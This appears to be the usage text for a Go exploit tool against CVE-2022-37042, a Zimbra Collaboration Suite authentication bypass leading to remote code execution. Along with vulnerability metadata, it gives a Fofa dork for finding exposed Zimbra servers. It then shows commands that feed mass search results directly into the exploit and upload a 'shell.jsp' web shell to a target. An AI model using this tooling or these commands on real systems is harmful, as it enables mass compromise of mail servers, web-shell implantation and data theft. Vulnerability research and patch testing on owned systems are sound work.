go run main.go -s

_______    ________    ___   ____ ___  ___       ______________  __ __ ___
/ ____/ |  / / ____/   |__ \ / __ \__ \|__ \     |__  /__  / __ \/ // /|__ \
/ /    | | / / __/________/ // / / /_/ /__/ /_____ /_ <  / / / / / // /___/ /
/ /___  | |/ / /__/_____/ __// /_/ / __// __/_____/__/ / / / /_/ /__  __/ __/
\____/  |___/_____/    /____/\____/____/____/    /____/ /_/\____/  /_/ /____/

							@_0xf4n9x_

[WRN] Use with caution. You are responsible for your actions.
[WRN] Developers assume no liability and are not responsible for any misuse or damage.

[INF] VulnInfo:
{
  "Name": "CVE-2022-37042 Zimbra Auth Bypass leads to RCE",
  "VulID": [
    "CVE-2022-37042"
  ],
  "Version": "1.0",
  "Author": "0xf9",
  "VulDate": "2022-10-07",
  "References": [
    "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/",
    "https://nvd.nist.gov/vuln/detail/CVE-2022-37042"
  ],
  "AppName": "Zimbra",
  "AppPowerLink": "https://www.zimbra.com/",
  "AppVersion": "Zimbra Collaboration Suite 8.8.15 and 9.0",
  "VulType": "RCE",
  "Description": "Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. NOTE: this issue exists because of an incomplete fix for CVE-2022-27925.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"zimbra-邮件系统\" \u0026\u0026 (protocol=\"http\" || protocol=\"https\")",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}

go run main.go -u http://example.com

echo 'http://example.com' | go run main.go

go run main.go -l urls.txt

echo 'app="zimbra-邮件系统" && (protocol="http" || protocol="https")' | fofax -ffi -fs 500 | go run main.go

go run main.go -u http://example.com -uf shell.jsp